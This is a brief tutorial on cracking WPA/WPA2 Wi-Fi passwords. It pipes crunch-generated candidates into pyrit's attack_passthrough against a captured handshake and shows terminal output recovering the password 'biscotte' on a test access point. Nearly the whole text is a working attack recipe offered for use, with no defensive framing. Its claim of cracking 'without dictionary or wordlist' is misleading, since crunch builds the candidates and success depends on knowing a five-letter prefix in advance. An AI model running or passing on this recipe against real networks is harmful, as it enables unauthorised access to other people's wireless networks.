Crack wpa/wpa2 without dictionary or wordlist

Install this first:
root@ubuntu:~# apt-get install subversion python-dev libssl-dev zlib1g-dev

Requirements:

• crunch - http://sourceforge.net/projects/crunch-wordlist/
• pyrit - http://code.google.com/p/pyrit/downloads/list

ESSID = "test" and passwd = "biscotte"

command: crunch 8 8 abcdefghijklmnopqrstuvwxyz -t bisco@@@ | pyrit -r wpa.cap -e test -i - attack_passthrough

Terminal

root@ubuntu:~# crunch 8 8 abcdefghijklmnopqrstuvwxyz -t bisco@@@ | pyrit -r wpa.cap -e test -i - attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'wpa.cap' (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:0d:93:eb:b0:8c automatically...
Tried 17578 PMKs so far; 434 PMKs per second.

The password is 'biscotte'.